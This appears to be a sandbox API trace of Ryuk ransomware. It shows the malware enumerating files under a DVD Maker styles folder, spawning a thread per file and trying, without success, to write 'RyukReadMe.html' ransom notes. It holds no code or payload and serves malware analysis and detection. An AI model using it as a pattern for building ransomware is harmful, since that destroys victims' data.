	[0181.862] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd78
	[0181.864] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.865] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c
	[0182.250] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.252] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0182.253] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0182.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80
	[0182.255] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.256] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0182.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0182.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84
	[0182.259] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.260] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1
	[0182.260] SetLastError (dwErrCode=0x0) 
	[0182.260] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.614] GetLastError () returned 0x5
	[0182.614] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0182.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0182.863] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.864] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0182.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94
	[0182.867] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.867] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0182.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98
	[0182.869] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.870] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x76, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1
	[0182.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c
	[0182.872] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x76, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1
	[0182.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0
	[0182.875] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.875] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0182.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4
	[0182.878] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.878] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0182.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8
	[0182.881] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.881] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0182.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac
	[0182.884] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.885] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0182.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0
	[0182.887] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.887] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0182.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4
	[0182.890] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0182.890] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0182.891] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0182.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8
	[0183.193] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.194] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1
	[0183.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0
	[0183.197] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.197] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1
	[0183.197] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4
	[0183.200] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.200] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0
	[0183.200] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0183.203] SetLastError (dwErrCode=0x0) 
	[0183.203] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.213] GetLastError () returned 0x5
	[0183.213] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0183.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.214] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0183.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88
	[0183.216] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.217] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1
	[0183.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8
	[0183.219] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.220] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0183.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc
	[0183.222] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.223] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1
	[0183.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00
	[0183.225] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1
	[0183.226] SetLastError (dwErrCode=0x0) 
	[0183.226] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.226] GetLastError () returned 0x5
	[0183.226] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0183.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
